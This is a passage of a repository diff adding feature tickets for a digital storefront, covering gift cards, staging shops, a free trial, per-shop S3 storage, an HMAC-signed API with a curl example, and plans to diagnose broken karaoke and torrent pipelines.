| `templates/checkout.j2` | Show gift card discount in order summary |
| `views/checkout.py` | Deduct balance, create transactions on successful checkout |
## Depends On
MPS-10 (models), MPS-11 (gift card records exist to redeem).

74
docs/tickets/mps-13.md Normal file
View file

@ -0,0 +1,74 @@
# MPS-13: Gift Card System — Shop Admin & Settings
## Problem
Shop owners need to enable/configure gift cards and view issued cards with
their balances and transaction history.
## Solution
### Shop settings: gift card configuration
New `gift-card-settings` form section in shop settings:
- **Enable Gift Cards** toggle (`gift_card_enabled`)
- **Minimum Amount** input (`gift_card_min_in_cents`, displayed as dollars)
- **Maximum Amount** input (`gift_card_max_in_cents`, displayed as dollars)
Validation:
- Min must be >= $1.00 (100 cents)
- Max must be >= min
- Max must be <= $10,000.00 (1000000 cents) — reasonable upper bound
### Gift card management page
New route: `/shop/{slug}/gift-cards/manage` (shop owner only)
Displays a table of all issued gift cards:
| Code | Amount | Balance | Purchaser | Recipient | Date | Status |
|------|--------|---------|-----------|-----------|------|--------|
Features:
- Sort by date (newest first)
- Show active vs fully redeemed vs disabled
- Click a card to see its transaction history
- Disable/enable toggle per card (admin kill switch)
### Gift card detail view
`/shop/{slug}/gift-cards/{card_id}` (shop owner only)
Shows:
- Card details (code, amounts, emails)
- Transaction history table (date, invoice, amount deducted, remaining balance)
- Disable toggle
### Buyer's gift card view
Buyers who purchase gift cards can see their purchased cards and remaining
balances on their account page. Recipients (who redeem codes) can check balance
by entering the code on the shop's gift card page.
### Balance check
On the gift card purchase page (`/shop/{slug}/gift-card`), add a "Check Balance"
section where anyone can enter a code and see the remaining balance. No account
required — the code IS the identity.
## Files Changed
| File | Change |
|------|--------|
| `views/shop.py` | `gift-card-settings` form handler |
| `views/gift_card.py` | Management page, detail view, balance check |
| `templates/shop_settings.j2` | Gift card settings form section |
| `templates/gift_card_manage.j2` | New: gift card list for shop owner |
| `templates/gift_card_detail.j2` | New: single card detail + transactions |
| `templates/gift_card.j2` | Add balance check section |
| `routes.py` | Add management + detail routes |
| `tests/test_functional.py` | Settings save, gift card CRUD, balance check |
## Depends On
MPS-10 (models), MPS-11 (purchase flow creates cards to manage).

128
docs/tickets/mps-14.md Normal file
View file

@ -0,0 +1,128 @@
# MPS-14: Shop Environment — Dev & Stage Shops
## Summary
Add an `environment` column to Shop so owners can create development and staging
shops for practicing thumbnails, videos, product staging, and testing checkout
flows. Non-production shops are fully independent (no sync to production) and
invisible to the public.
Every paid production shop seat includes 2 free dev/stage shops.
## Model Changes
### Shop model (`models/shop.py`)
Add column:
```python
environment = Column(BigInteger, default=0)
# 0 = production (default)
# 1 = staging
# 2 = development
```
Add properties:
```python
@property
def is_production(self):
return self.environment == 0
@property
def is_staging(self):
return self.environment == 1
@property
def is_development(self):
return self.environment == 2
@property
def is_non_production(self):
return self.environment != 0
@property
def environment_label(self):
return {0: "Production", 1: "Staging", 2: "Development"}.get(self.environment, "Production")
```
### Migration
- Add `environment` column to `mps_shop` (BigInteger, server_default="0", NOT NULL)
- Idempotent guard with `_column_exists`
## Exclusion Points
Non-production shops (environment != 0) must be excluded from:
1. **Search results** — `views/shop.py:129` `search()` — filter query to `shop.environment == 0`
2. **Discovery ring** — `models/shop.py:656` `_build_discovery_ring()` — already scoped to shop's own products, but ring should not be reforged for non-production shops
3. **RSS/Atom/Sitemap** — `views/feeds.py:204,222,242` — skip non-production shops entirely (return empty feed or 404)
4. **Subscription digests** — `models/shop_subscription.py` query helpers — filter by `shop.environment == 0`
5. **Public shop listings** — any place shops are listed publicly
Non-production shops still fully function for the owner: product upload, cart,
checkout, settings, analytics — all work normally.
## Banner
Display a persistent environment banner for non-production shops, similar to
the ribbon pattern. In `base.j2` or `snippets/ribbon.j2`:
```html
{% if request.shop and request.shop.is_non_production %}
<div class="environment-banner environment-{{ request.shop.environment_label|lower }}">
{{ request.shop.environment_label }} Shop
</div>
{% endif %}
```
CSS in `common.css`:
- Staging banner: amber/yellow background
- Development banner: blue/purple background
- Always visible, not dismissible
## Settings UI
Add environment selector to shop settings. New form section `environment-settings`
or add to existing `shop-settings` section.
Radio buttons or select:
- Production (default)
- Staging
- Development
Changing from non-production to production should warn: "This shop will become
publicly visible."
## Shop Creation Flow
On `/s/new`, add an optional environment selector (default: production).
This lets users create dev/stage shops directly during onboarding.
## Enforcement: 2 Free Dev/Stage Per Production Shop
Each paid production shop seat entitles the user to 2 free non-production shops.
### Counting logic
```python
def non_production_shop_allowance(user):
production_count = sum(1 for s in user.shops if s.is_production)
allowed_non_production = production_count * 2
current_non_production = sum(1 for s in user.shops if s.is_non_production)
return allowed_non_production - current_non_production
```
### Enforcement points
- **Shop creation** (`views/shop.py` POST `/s/new`): if environment != 0 and
allowance <= 0, flash error and reject
- **Environment change** (`views/shop.py` settings POST): if changing to
non-production and allowance <= 0, reject; if changing to production, always allow
## Tests
- Unit: `test_models.py` — environment properties, environment_label
- Integration: `test_integration.py` — non-production shop excluded from discovery ring query, allowance counting
- Functional: `test_functional.py` — create dev shop, verify search excludes it, verify banner appears, verify allowance enforcement

142
docs/tickets/mps-15.md Normal file
View file

@ -0,0 +1,142 @@
# MPS-15: 21-Day Free Trial
## Summary
New shops get a 21-day free trial. Trial includes 1 shop, 1 seat, all features.
After 21 days the shop enters a grace period, then becomes read-only until a
plan is chosen.
## Model Changes
### Shop model (`models/shop.py`)
Add columns:
```python
trial_started_timestamp = Column(BigInteger, nullable=True)
trial_ended = Column(Boolean, default=False)
plan_active = Column(Boolean, default=False)
```
- `trial_started_timestamp`: set to current time (ms) on shop creation
- `trial_ended`: flipped to True when trial expires (background check or request-time check)
- `plan_active`: True when a paid plan is active (billing integration, future ticket)
### Migration
- Add 3 columns to `mps_shop` with idempotent guards
- `trial_started_timestamp` nullable (existing shops get NULL = pre-trial era, treated as paid)
- `trial_ended` server_default="0"
- `plan_active` server_default="0"
### Properties
```python
TRIAL_DURATION_MS = 21 * 24 * 60 * 60 * 1000 # 21 days in milliseconds
@property
def trial_expiry_timestamp(self):
if self.trial_started_timestamp is None:
return None
return self.trial_started_timestamp + self.TRIAL_DURATION_MS
@property
def is_trial_active(self):
if self.plan_active:
return False # paid plan supersedes trial
if self.trial_started_timestamp is None:
return False # pre-trial shop (existing shops)
now = int(time.time() * 1000)
return now < self.trial_expiry_timestamp
@property
def is_trial_expired(self):
if self.plan_active or self.trial_started_timestamp is None:
return False
now = int(time.time() * 1000)
return now >= self.trial_expiry_timestamp
@property
def trial_days_remaining(self):
if not self.is_trial_active:
return 0
remaining_ms = self.trial_expiry_timestamp - int(time.time() * 1000)
return max(0, remaining_ms // (24 * 60 * 60 * 1000))
@property
def is_active(self):
"""Shop can operate: either paid plan or active trial."""
return self.plan_active or self.is_trial_active
```
## Trial Enforcement
### What trial shops CAN do (all features)
- Create products, upload files, set prices
- Accept payments (all 5 methods)
- Use watch mode, analytics, subscriptions, gift cards
- Create 2 dev/stage shops (per MPS-14)
- Full settings access
### What happens when trial expires
- Shop becomes **read-only**: products visible, downloads work for existing purchases
- New purchases blocked (checkout disabled)
- Product creation/editing disabled
- Settings page shows "Trial expired — choose a plan to continue"
- Flash message on every page: "Your 21-day trial has expired. Choose a plan to keep selling."
### Enforcement points
Request-time check (middleware or request method):
```python
def shop_trial_check(request):
shop = request.shop
if shop and shop.is_trial_expired and not shop.plan_active:
# Allow read-only routes, block write routes
...
```
Write routes to block when trial expired:
- Product create/edit/delete
- Checkout completion (all 3 paths: Stripe, PayPal, Adyen)
- Gift card purchase
- Settings changes (except choosing a plan)
Read routes to allow:
- Product view, shop view, search
- Cart view (but not checkout)
- Settings view (read-only, plan selection enabled)
- Download (for existing purchases)
## Trial Banner
In `base.j2`, show trial status for shop owners:
```html
{% if request.shop and request.shop.is_trial_active and request.user in request.shop.owners %}
<div class="trial-banner">
Free trial: {{ request.shop.trial_days_remaining }} days remaining.
<a href="/s/{{ request.shop.id }}/settings#plan">Choose a plan</a>
</div>
{% endif %}
{% if request.shop and request.shop.is_trial_expired and not request.shop.plan_active %}
<div class="trial-banner trial-expired">
Your 21-day trial has expired.
<a href="/s/{{ request.shop.id }}/settings#plan">Choose a plan to keep selling</a>
</div>
{% endif %}
```
## Shop Creation Changes
In `views/shop.py` `shop_new()`:
- Set `shop.trial_started_timestamp = int(time.time() * 1000)` on creation
- Existing shops (NULL timestamp) are grandfathered as paid
## Tests
- Unit: trial properties (is_trial_active, is_trial_expired, trial_days_remaining, is_active)
- Integration: trial shop with real DB, verify expiry behavior
- Functional: create shop, verify trial banner, verify trial countdown

206
docs/tickets/mps-16.md Normal file
View file

@ -0,0 +1,206 @@
# MPS-16: Bring Your Own Bucket (BYOB) — Primary S3 Per Shop
## Summary
Allow shops to use their own S3-compatible bucket as the **primary** storage
for all media (products, thumbnails, previews, karaoke tracks). Files are
uploaded directly to the shop's bucket — MPS never stores them on the
platform bucket.
Free trial users must bring their own bucket during onboarding (zero storage
cost for MPS during trial). Paid plan users can use BYOB or the MPS bucket.
## Current Architecture
- All uploads go to MPS DigitalOcean Spaces bucket (global, configured in INI)
- `request.secure_uploads_client` is a single global boto3 client
- Presigned URLs always use `request.app["bucket.secure_uploads.get_endpoint"]`
- Mirror S3 (`shop.mirror_s3_*`) is an async secondary copy
## Target Architecture
- Each shop can optionally specify a **primary** S3 bucket
- If configured, all uploads, presigned URLs, and thumbnail CDN URLs use the shop's bucket
- MPS bucket is never touched for BYOB shops
- Mirror S3 continues to work as a secondary copy (shop can mirror from their primary to another bucket)
## Model Changes
### Shop model (`models/shop.py`)
Reuse existing `mirror_s3_*` columns but add a new flag to indicate primary vs mirror:
```python
primary_s3_enabled = Column(Boolean, default=False)
# When True: mirror_s3_* columns are used as the PRIMARY bucket
# When False: mirror_s3_* columns are used as mirror (current behavior)
```
Or add separate columns for clarity:
```python
primary_s3_endpoint = Column(Unicode(256), nullable=True)
primary_s3_region = Column(Unicode(64), nullable=True)
primary_s3_bucket = Column(Unicode(128), nullable=True)
primary_s3_access_key = Column(Unicode(128), nullable=True)
primary_s3_secret_key = Column(Unicode(128), nullable=True)
primary_s3_cdn_endpoint = Column(Unicode(256), nullable=True) # public CDN URL for thumbnails
primary_s3_enabled = Column(Boolean, default=False)
```
The CDN endpoint is critical — thumbnails and previews use public CDN URLs,
not presigned URLs. The shop owner must configure their bucket's CDN endpoint
(e.g., `https://mybucket.nyc3.cdn.digitaloceanspaces.com`).
### Properties
```python
@property
def has_primary_s3(self):
return bool(
self.primary_s3_enabled
and self.primary_s3_endpoint
and self.primary_s3_bucket
and self.primary_s3_access_key
and self.primary_s3_secret_key
and self.primary_s3_cdn_endpoint
)
@property
def media_cdn_endpoint(self):
"""Return the CDN endpoint for this shop's media."""
if self.has_primary_s3:
return self.primary_s3_cdn_endpoint
return None # caller falls back to request.app default
```
## Request Method Changes
### `request_methods.py`
Add a shop-aware S3 client factory:
```python
def add_shop_uploads_client(request):
"""Return S3 client for the current shop (BYOB or MPS default)."""
shop = request.shop
if shop and shop.has_primary_s3:
import boto3
session = boto3.session.Session()
return session.client(
"s3",
region_name=shop.primary_s3_region,
endpoint_url=shop.primary_s3_endpoint,
aws_access_key_id=shop.primary_s3_access_key,
aws_secret_access_key=shop.primary_s3_secret_key,
)
return request.secure_uploads_client # default MPS bucket
```
Add `request.shop_uploads_client` as a reified request method.
### Bucket name resolution
```python
def get_shop_bucket_name(request):
shop = request.shop
if shop and shop.has_primary_s3:
return shop.primary_s3_bucket
return request.app["bucket.secure_uploads"]
```
Add `request.shop_bucket_name` as a reified request method.
## View Changes
### `views/product.py`
All S3 operations must use `request.shop_uploads_client` and
`request.shop_bucket_name` instead of `request.secure_uploads_client` and
`request.app["bucket.secure_uploads"]`:
- **Presigned GET** (downloads, line 45-83): use shop client + shop bucket
- **Presigned POST** (uploads, line 429-456): use shop client + shop bucket
- **Copy object** (line 344): use shop client + shop bucket
- **Delete object**: use shop client + shop bucket
### Template changes
All thumbnail/media URLs must resolve through the shop's CDN endpoint:
```jinja2
{# Before #}
{{ request.app["bucket.secure_uploads.get_endpoint"] }}/{{ product.s3_path }}/thumbnail1
{# After #}
{{ product.shop.media_cdn_endpoint or request.app["bucket.secure_uploads.get_endpoint"] }}/{{ product.s3_path }}/thumbnail1
```
Affected templates:
- `product.j2` (lines 13, 43, 75, 97, 112, 131-132)
- `cart.j2` (line 124)
- `shop.j2` (thumbnail rendering)
- `content.j2`
- `snippets/related_content.j2`
### `views/watch.py`
Watch mode JSON endpoint (line 96-99) must use shop CDN endpoint:
```python
cdn = shop.media_cdn_endpoint or request.app["bucket.secure_uploads.get_endpoint"]
thumbnail_url = f"{cdn}/{product.s3_path}/thumbnail1?ts={product.updated_timestamp}"
```
### `lib/karaoke.py`
Karaoke downloads/uploads must use shop client + shop bucket.
### `lib/s3_mirror.py`
When primary_s3 is enabled, mirror source becomes the shop's bucket (not MPS).
Mirror destination is still the mirror_s3_* config.
## Settings UI
### New form section: `bucket-settings`
In `shop_settings.j2`, add a "Storage" or "Media Bucket" section:
- Endpoint URL (text input)
- Region (text input)
- Bucket name (text input)
- Access key (text input)
- Secret key (password input)
- CDN endpoint (text input, with help text: "Public URL for thumbnails")
- Enable checkbox
- Test connection button (reuse `test_mirror_connection` pattern)
### Validation
- Endpoint must start with `https://`
- All 6 fields required if any provided
- Connection test: list bucket, attempt a test PUT/GET/DELETE cycle
- CDN endpoint must be reachable (optional HEAD request)
## Onboarding for Trial Users
During shop creation (`/s/new`), after the shop is created and the user is
redirected to `/s/{shop_id}/settings`:
- If trial user (no paid plan), show a prominent "Set Up Storage" step
- Guide them through configuring their S3 bucket
- Trial shops cannot upload files until BYOB is configured
- Provide documentation links for DigitalOcean Spaces, AWS S3, Backblaze B2, MinIO
## Migration
- Add `primary_s3_*` columns (6 columns) to `mps_shop`
- All nullable, `primary_s3_enabled` server_default="0"
- Idempotent guards
## Tests
- Unit: has_primary_s3 property, media_cdn_endpoint property
- Integration: shop with BYOB config, verify client resolution
- Functional: enable BYOB via settings, verify connection test, verify upload uses shop bucket

154
docs/tickets/mps-17.md Normal file
View file

@ -0,0 +1,154 @@
# MPS-17: REST API v1 — HMAC-signed product/content creation + file upload
## Purpose
Enable CI/CD pipelines (e.g. permacomputer.com) to programmatically:
- Create products (fiat/crypto priced) or content (free)
- Upload files directly to Spaces via presigned POST
- Confirm uploads and get CDN URLs
## Auth — HMAC public/private key pairs
Each shop has API key pairs. A key pair is:
- `public_key` — `mps_pub_{32 hex}` — identifies the pair, safe to log
- `secret_key` — `mps_sec_{64 hex}` — signs requests, shown **once** on creation
No bearer tokens. The secret never travels over the wire. Every request is
signed with HMAC-SHA256. Replay window: ±300 seconds.
### Signing scheme
```
string_to_sign = "{METHOD}\n{PATH}\n{TIMESTAMP}\n{SHA256_OF_BODY_HEX}"
signature = hmac_sha256(secret_key, string_to_sign).hexdigest()
Request headers:
X-MPS-Key: mps_pub_abc123...
X-MPS-Timestamp: 1712345678
X-MPS-Signature: sha256=abcdef...
```
### Shell example (for CI)
```bash
METHOD=POST
PATH=/api/v1/products
TIMESTAMP=$(date +%s)
BODY='{"title":"Debian permacomputer","description":"...","price":"0.00"}'
BODY_HASH=$(echo -n "$BODY" | sha256sum | awk '{print $1}')
STRING_TO_SIGN="${METHOD}\n${PATH}\n${TIMESTAMP}\n${BODY_HASH}"
SIG=$(echo -n "$STRING_TO_SIGN" | openssl dgst -sha256 -hmac "$MPS_SECRET_KEY" | awk '{print $2}')
curl -X POST https://my.makepostsell.com/api/v1/products \
-H "X-MPS-Key: $MPS_PUBLIC_KEY" \
-H "X-MPS-Timestamp: $TIMESTAMP" \
-H "X-MPS-Signature: sha256=$SIG" \
-H "Content-Type: application/json" \
-d "$BODY"
```
## API Endpoints
```
POST /api/v1/products create product (is_sellable=True)
POST /api/v1/content create content (is_sellable=False)
GET /api/v1/products/{id} get product
GET /api/v1/content/{id} get content
POST /api/v1/products/{id}/upload-url get presigned POST URL for file upload
POST /api/v1/content/{id}/upload-url get presigned POST URL for file upload
POST /api/v1/products/{id}/files/confirm confirm S3 upload, register file, get CDN URL
POST /api/v1/content/{id}/files/confirm confirm S3 upload, register file, get CDN URL
```
### POST /api/v1/products
Request:
```json
{
"title": "Debian permacomputer 6.12 amd64",
"description": "Debian bookworm with CWE-407 patched Linux 6.12 kernel",
"price": "9.99",
"visibility": "public"
}
```
Response 201:
```json
{
"id": "abc123...",
"url": "https://my.makepostsell.com/p/abc123/debian-permacomputer",
"edit_url": "https://my.makepostsell.com/p/abc123/edit"
}
```
### POST /api/v1/content
Same body minus `price`. Response 201 same shape with `/c/` URL.
### POST /api/v1/products/{id}/upload-url
Request:
```json
{
"filename": "debian-permacomputer-6.12-amd64.qcow2",
"content_type": "application/octet-stream"
}
```
Response 200:
```json
{
"upload_url": "https://nyc3.digitaloceanspaces.com/...",
"fields": { "key": "...", "AWSAccessKeyId": "...", ... },
"confirm_path": "/api/v1/products/{id}/files/confirm",
"key": "products/shop_id/product_id/product.qcow2"
}
```
### POST /api/v1/products/{id}/files/confirm
Request:
```json
{
"key": "products/shop_id/product_id/product.qcow2",
"filename": "debian-permacomputer-6.12-amd64.qcow2"
}
```
Response 200:
```json
{
"cdn_url": "https://plan-period-files.nyc3.cdn.digitaloceanspaces.com/..."
}
```
## Shop Settings UI
New section at bottom of `/s/{shop_id}/settings`:
- List active key pairs (label, public key, created date, last used)
- "Generate new key pair" form (label input)
- Secret shown **once** in a flash-style `<output>` element after generation
- Per-key revoke button
Routes:
```
POST /s/{shop_id}/api-keys/generate
POST /s/{shop_id}/api-keys/{key_id}/revoke
```
## Files
| File | Change |
|------|--------|
| `models/api_key.py` | New: `MpsApiKey` model |
| `models/__init__.py` | Import `MpsApiKey` |
| `models/meta.py` | Add `MpsApiKey` to `CLASS_TO_TABLE` |
| `views/api/__init__.py` | HMAC auth: `api_key_required` decorator |
| `views/api/items.py` | All API endpoints |
| `routes.py` | Add API + key management routes |
| `views/shop.py` | `api_keys_generate`, `api_key_revoke` handlers |
| `templates/shop_settings.j2` | API Keys section |
| `alembic/versions/` | Migration: `mps_api_key` table |
| `tests/test_models.py` | `MpsApiKey` unit tests |
| `tests/test_integration.py` | HMAC signing integration tests |
| `tests/test_functional.py` | API endpoint functional tests |

176
docs/tickets/mps-18.md Normal file
View file

@ -0,0 +1,176 @@
# MPS-18: Karaoke Mode — Diagnose & Fix Vocal Isolation Pipeline
## Status
**BROKEN in production.** Code paths exist (`lib/karaoke.py`, `lib/voxsplit.c`,
`scripts/backfill_karaoke.py`, on-demand route `POST /karaoke/{product_id}`,
backfill button in shop settings), but end-to-end runs do not produce playable
instrumental + vocal tracks attached to a product. Watch mode toggle never
finds populated karaoke URLs, so listeners never hear it.
## Problem
Karaoke depends on a long chain — every link must hold:
1. Shop has `unsandbox_public_key` + `unsandbox_secret_key` configured
2. Source media reachable via presigned `get_object` from shop bucket
3. Source streams in 64KB chunks to unsandbox `POST /upload` (HMAC-signed
against **empty body** because API skips body parsing for `/upload`)
4. `voxsplit.c` source uploaded the same way (compiled inside container)
5. `POST /execute` references both `upload_id`s, runs voxsplit in zerotrust
container, returns instrumentals + vocals as base64 or upload_ids
6. Output streamed back, written to disk, uploaded to S3 at deterministic
paths under `karaoke/{product_id}/{instrumentals,vocals}.{ext}`
7. Product row updated with karaoke URLs
8. Watch JSON + content/watch templates surface URLs to player.js
9. Player.js toggle swaps audio source between original and instrumentals
A failure at any link looks identical to a user: toggle does nothing.
## Diagnosis Required
Before the fix lands, run a one-shot reproducible test against staging:
| Probe | Expected | Actual |
|-------|----------|--------|
| Shop has unsandbox creds set | yes | ? |
| `POST /upload` with empty-body HMAC succeeds | 200 + `upload_id` | ? |
| `POST /execute` returns instrumentals + vocals | 200 + bytes | ? |
| S3 write to karaoke path succeeds | object exists in bucket | ? |
| `product.karaoke_instrumentals_url` / `_vocals_url` columns populated | URL strings | ? |
| Watch JSON includes `karaoke_*_url` keys | populated when eligible | ? |
| Player toggle swaps audio src | swap occurs | ? |
Log every link with structured records (`karaoke.step=upload_input`,
`step=execute`, `step=mirror_output`, `step=db_write`). A silent failure
upstream is the worst kind — fail-loud at every step.
## Proposal
### 1. Add karaoke health endpoint
`GET /s/{shop_id}/karaoke-health` — owner-only, returns JSON:
```json
{
"credentials_present": true,
"api_reachable": true,
"last_run_at": "2026-05-09T14:00:00Z",
"last_run_status": "success|failed|never",
"last_error": null,
"products_with_karaoke": 12,
"products_eligible": 47
}
```
Backed by a new `MpsKaraokeRun` model row written for every detached run.
### 2. Persist run state
New table `mps_karaoke_run`:
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `shop_id` | UUID FK | shop |
| `product_id` | UUID FK nullable | product (null for backfill batch) |
| `started_timestamp` | int (ms) | run start |
| `finished_timestamp` | int (ms) nullable | run end |
| `status` | int | 0=running 1=success 2=failed 3=cancelled |
| `step` | str | last completed step name |
| `error_message` | UnicodeText nullable | failure detail |
| `bytes_in` | int nullable | source size |
| `bytes_out` | int nullable | output size |
Replaces fire-and-forget invisibility. Owner UI lists last 10 runs per shop.
### 3. Fix the most likely broken link first
Grep current `lib/karaoke.py` for:
- `_sign_body` called with empty string for `/upload` — confirm API still
signs empty body for streaming endpoints. If API changed, signing is wrong.
- `_resolve_credentials(shop, app)` — confirm shop creds picked up before
app fallback, BYOB-aware
- `process_karaoke_detached` double-fork — confirm child survives parent
request teardown (no leaked DB sessions, no closed file handles)
- Output retrieval — confirm we pull from `GET /internal/upload/{id}` not
from base64 in `/execute` response (memory blow-up on 3.6 GB inputs)
### 4. Wire on-demand auto-refresh
`watch.js` already polls every 10s while karaoke is running. Confirm it
flips on completion. If polling is broken, add SSE or a single targeted
refresh after `MpsKaraokeRun.status` flips to success.
### 5. Backfill button for shop owners
`POST /s/{shop_id}/settings` `form_section=backfill-karaoke` exists.
Validate:
- Concurrency capped at unsandbox account's `max_concurrent_executions`
- Per-product idempotency — skip if `karaoke_instrumentals_url` populated
AND mtime newer than source
- Backfill records one `MpsKaraokeRun` per product, not one per batch
## Go-to-Market
| Surface | Action |
|---------|--------|
| `docs/karaoke-pipeline.md` | Update with run-state model + health endpoint |
| `docs/architecture.md` | Add karaoke run table to feature toggle matrix |
| `/styleguide` | Karaoke health card pattern (status + last run + error) |
| `~/git/www.makepostsell.com/index.html` | Feature card: "Vocal isolation, on-demand or batched. No ML deps. Spectral mid-side Wiener masking." |
| `~/git/www.makepostsell.com/pricing.html` | Mention karaoke as included on all paid plans (depends on unsandbox account) |
| Shop settings UI | Health card next to backfill button — show current state without surprise |
## Files
| File | Change |
|------|--------|
| `make_post_sell/models/karaoke_run.py` | New: `MpsKaraokeRun` |
| `make_post_sell/models/__init__.py` | Import `MpsKaraokeRun` |
| `make_post_sell/models/meta.py` | Register in `CLASS_TO_TABLE` |
| `make_post_sell/lib/karaoke.py` | Write `MpsKaraokeRun` rows at every step; harden empty-body HMAC; verify creds at entry |
| `make_post_sell/views/shop.py` | `karaoke_health` route handler |
| `make_post_sell/routes.py` | Add `/s/{shop_id}/karaoke-health` |
| `make_post_sell/templates/shop_settings.j2` | Health card; recent runs list |
| `make_post_sell/static/js/watch.js` | Confirm 10s poll triggers reload on completion; fall back to single refresh on `MpsKaraokeRun` flip |
| `make_post_sell/scripts/alembic/versions/XXXX_mps_karaoke_run_table.py` | Migration with `_table_exists` guard |
| `make_post_sell/tests/test_models.py` | `MpsKaraokeRun` unit tests |
| `make_post_sell/tests/test_integration.py` | End-to-end run record write/read; backfill idempotency |
| `make_post_sell/tests/test_functional.py` | Health endpoint auth, JSON shape, settings page renders card |
## Tests
### Unit (`test_models.py`)
- `MpsKaraokeRun.is_running` / `is_success` / `is_failed` properties
- `MpsKaraokeRun.duration_ms` calculated from start/finish timestamps
- `Shop.karaoke_eligible` returns `True` only when both unsandbox keys set
- `Shop.karaoke_health_summary` returns dict matching health endpoint shape
### Integration (`test_integration.py`)
- Backfill skips products with fresh karaoke URLs (idempotency)
- Failed run leaves `status=failed` and populated `error_message`
- Concurrent runs respect shop unsandbox concurrency limit
- BYOB: outputs land in shop's bucket, not MPS default
### Functional (`test_functional.py`)
- `GET /s/{shop_id}/karaoke-health` — anon 403, non-owner 403, owner 200 JSON
- Health JSON includes all keys above; numbers match seeded fixtures
- Shop settings page renders karaoke health card with correct current status
- `POST /karaoke/{product_id}` — anon 403, owner 200 + run row created
- Backfill button POST creates run rows for eligible products only
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: configure unsandbox keys, upload an audio product, click karaoke
button, watch run row write, watch URLs populate, watch player toggle work
3. Health endpoint reflects each step (running → success)
4. Force a failure (revoke creds mid-run) — `status=failed`, error captured
5. Push → CI green → deploy → check `https://my.makepostsell.com/version`
6. Bump GIT_HASH, push, verify

187
docs/tickets/mps-19.md Normal file
View file

@ -0,0 +1,187 @@
# MPS-19: BitTorrent / Magnet Link Mode — Diagnose & Fix Distribution
## Status
**BROKEN in production.** Schema and code paths exist:
- `mps_shop.torrent_enabled` (Boolean) — shop-level toggle
- `mps_product.torrent_opt_in` (Boolean) — per-product opt-in
- `mps_product.torrent_magnet_link` + `torrent_file_url` columns
- `make_post_sell/lib/torrent.py` — bundle + .torrent generation pipeline
- Migrations `0ee5654cfe7d_*` and `c0236e351476_torrent_distribution_support.py`
- Backfill route `/s/{shop_id}/torrent-backfill-status`
What does **not** work end-to-end: opting a public product in does not yield
a populated magnet link or a `bundle.torrent` reachable on the CDN. Listeners
never see a magnet button. Files never seed.
## Problem
The torrent path has more moving parts than karaoke. Each is a candidate
break point:
1. Opt-in only fires for `visibility=1` (public). Off for unlisted/private.
2. Bundle assembly downloads source + thumbnails + description.md from S3
into a temp dir — a single missing fetch leaves an incomplete bundle
3. `torf.Torrent` builds multi-file `.torrent` with web seeds (BEP 19) and
trackers (BEP 12) — wrong web-seed URL = no seeders forever
4. `.torrent` upload back to S3 at `{s3_path}/bundle.torrent` — must use
shop-aware client, not MPS default
5. Magnet link derived from info hash + display name + trackers + web seeds
6. DB write of `torrent_magnet_link` + `torrent_file_url` is the user-visible
commit — if it fails silently, every step before it was wasted
7. Free content vs paid product bundles differ — paid never includes the
paid file (preview only). A copy-paste defect here = piracy via opt-in
## Diagnosis Required
Same fail-loud principle as MPS-18. Add an `MpsTorrentRun` row per attempt.
| Probe | Expected | Actual |
|-------|----------|--------|
| Shop `torrent_enabled=True` | yes | ? |
| Product `torrent_opt_in=True` AND `visibility=1` | yes | ? |
| Bundle dir contains source + thumbs + description.md | full set | ? |
| `.torrent` bytes generated by `torf.Torrent` | non-zero | ? |
| `.torrent` uploaded to shop bucket at `{s3_path}/bundle.torrent` | object exists | ? |
| Web seed URL in `.torrent` matches CDN URL of source file | exact match | ? |
| `torrent_magnet_link` column populated with `magnet:?xt=urn:btih:...` | string | ? |
| `torrent_file_url` column populated with CDN URL of `.torrent` | string | ? |
| Watch JSON / content / product templates surface magnet button | rendered | ? |
| Magnet link opens in BitTorrent client and pulls bundle | swarm fetches bundle | ? |
## Proposal
### 1. Persist run state — `MpsTorrentRun` table
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `shop_id` | UUID FK | shop |
| `product_id` | UUID FK | product |
| `started_timestamp` | int (ms) | run start |
| `finished_timestamp` | int (ms) nullable | run end |
| `status` | int | 0=running 1=success 2=failed 3=cancelled |
| `step` | str | last completed step |
| `error_message` | UnicodeText nullable | failure detail |
| `info_hash` | str(40) nullable | hex info hash on success |
| `bundle_bytes` | int nullable | total bundle size |
### 2. Verify paid-product safety
Add explicit unit test: paid product (`is_sellable=True`) bundle includes
`preview.{ext}` and never the source file. Bundle assembly must read
`product.is_sellable` and pick the right path. Single boolean defect here
ships the paid file as freely-seedable. Test guards this.
### 3. Web seed URL correctness
The web seed URL inside `.torrent` is the **CDN** URL (public, no
presigning). For shops using BYOB, that's `request.shop_cdn_endpoint`,
not the MPS default CDN. Confirm `lib/torrent.py` uses the shop-aware
endpoint when building the torrent metadata.
### 4. Backfill UX
Existing `/s/{shop_id}/torrent-backfill-status` is a status endpoint.
Add a backfill button to settings that POSTs `form_section=backfill-torrent`
into `views/shop.py`. Concurrency-bound. Idempotent (skip products with
populated `torrent_magnet_link` + fresh mtime).
### 5. UI surface
Magnet button on:
- `templates/product.j2` — under download/CTA area
- `templates/content.j2` — same position
- `templates/snippets/related_content.j2` — small magnet icon next to free items
- Watch mode (`watch.js` `updatePageContent`, `watch.py` JSON)
Button visibility rules:
| Visibility | Sellable | torrent_opt_in | Show magnet? |
|------------|----------|----------------|--------------|
| public (1) | False (free) | True | yes |
| public (1) | True (paid) | True | yes — bundle is preview only |
| unlisted (2) | any | any | **no** |
| private (0) | any | any | **no** |
### 6. Tracker / web-seed strategy
Default `DEFAULT_TRACKERS` list in `lib/torrent.py` is acceptable but
hardcoded — make it shop-configurable via a new column
`mps_shop.torrent_trackers` (Text, newline-separated). NULL = use defaults.
Sites that want their own tracker in front (private tracker, CDN-friendly
tracker) can override.
## Go-to-Market
| Surface | Action |
|---------|--------|
| `docs/torrent-distribution.md` | New: end-to-end pipeline doc with dot diagram (mirror karaoke-pipeline.md) |
| `docs/architecture.md` | Add torrent run table + opt-in matrix to feature toggle matrix |
| `/styleguide` | Magnet button component + torrent health card |
| `~/git/www.makepostsell.com/index.html` | Feature card: "BitTorrent distribution. Web seeds. No friction. Free your bandwidth bill." |
| `~/git/www.makepostsell.com/pricing.html` | Note torrent included on plans that include uploads |
| Shop settings UI | Torrent health card + tracker config + backfill button |
## Files
| File | Change |
|------|--------|
| `make_post_sell/models/torrent_run.py` | New: `MpsTorrentRun` |
| `make_post_sell/models/__init__.py` | Import |
| `make_post_sell/models/meta.py` | Register |
